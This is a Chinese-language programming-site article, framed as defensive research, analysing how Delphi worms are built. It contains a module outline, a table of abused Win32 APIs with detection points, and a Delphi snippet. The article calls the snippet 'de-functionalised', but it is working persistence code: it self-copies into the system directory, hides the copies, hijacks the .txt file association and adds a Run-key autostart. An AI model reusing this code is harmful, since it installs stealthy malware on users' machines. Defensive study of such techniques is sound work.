您现在的位置：程式碼之家 >> 編程語言 > >> 更多程式語言 >> Delphi

⚠️ 安全警示：Delphi 編寫蠕蟲病毒技術分析 (僅供防禦研究)

編輯：Delphi

⚠️ 重要法律與道德聲明

本文僅供資安研究、防禦分析、學術教學用途。
編寫、傳播、釋出惡意程式碼屬違法行為 (中華民國《刑法》第 359 條、第 360 條、《資通安全管理法》等)，最高可處 5 年有期徒刑。
請勿將此技術用於任何非授權系統、生產環境或惡意用途。
合法授權滲透測試、紅隊演練、病毒特徵碼分析、沙箱行為分析等防禦性研究除外。

技術分析：蠕蟲病毒三大模組架構

惡意程式通常包含：

持久化/保護模組：自我複製至系統目錄、設定隱藏/系統屬性、修改登錄檔達成開機自啟、關聯檔案類型劫持
傳播/感染模組：掃描網路共享、利用漏洞遠程執行、郵件群發、USB 自動執行、即時通訊傳播
負載/發作模組：竊取資料、鍵盤記錄、勒索加密、DDoS 殭屍網路、挖礦、後門控制

關鍵 Win32 API 惡意用途對照表 (防禦視角)

API	正常用途	惡意濫用	防禦偵測重點
`GetSystemDirectory`	取得系統目錄路徑	定位自我複製目標目錄	監控非信任程式呼叫
`CopyFile`	複製檔案	自我複製至 `%SystemRoot%`	檔案建立事件關聯程式
`SetFileAttributes`	設定檔案屬性	`FILE_ATTRIBUTE_HIDDEN+SYSTEM` 隱藏自身	屬性異常變更監控
`RegOpenKey/RegSetValueEx`	登錄檔讀寫	寫入 `Run`、`RunOnce`、檔案關聯 `shell\open\command`	登錄檔關鍵鍵值變更審計
`ShellExecute`	執行檔案/開啟連結	啟動惡意載荷、開啟釣魚網頁	進程樹異常父子關係
`RegisterServiceProcess` (Win9x)	註冊服務進程	隱藏進程列表	工具列進程枚舉對比
`CreateService/StartService` (NT+)	建立/啟動系統服務	安裝持久化服務	服務建立事件監控

原始碼片段分析 (已去功能化，僅保留結構)

procedure SelfCopy; // 持久化模組範例
var Path, Value: array[0..255] of Char; HK: HKEY; S: String;
begin
  GetSystemDirectory(Path, 256);           // 取得系統目錄
  S := StrPas(Path);
  CopyFile(PChar(ParamStr(0)), PChar(S + '\ruin.exe'), False);      // 複製自身
  CopyFile(PChar(ParamStr(0)), PChar(S + '\virus_ruin.exe'), False);
  SetFileAttributes(PChar(S + '\ruin.exe'), FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
  SetFileAttributes(PChar(S + '\virus_ruin.exe'), FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
  
  RegOpenKey(HKEY_CLASSES_ROOT, 'txtfile\shell\open\command', HK); // 劫持 .txt 開啟動作
  Value := 'virus_ruin.exe %1';
  RegSetValueEx(HK, '', 0, REG_SZ, @Value, 17);
  
  RegOpenKey(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', HK);
  Value := 'ruin.exe';
  RegSetValueEx(HK, 'ruin', 0, REG_SZ, @Value, 8); // 開機自啟
end;

// 主程式進入點參數判斷 (檔案關聯觸發時帶參數)
begin
  if ParamCount = 1 then
    ShellExecute(0, 'open', 'notepad.exe', PChar(ParamStr(1)), nil, SW_NORMAL); // 偽裝正常開啟
  // ... 其他惡意邏輯
end;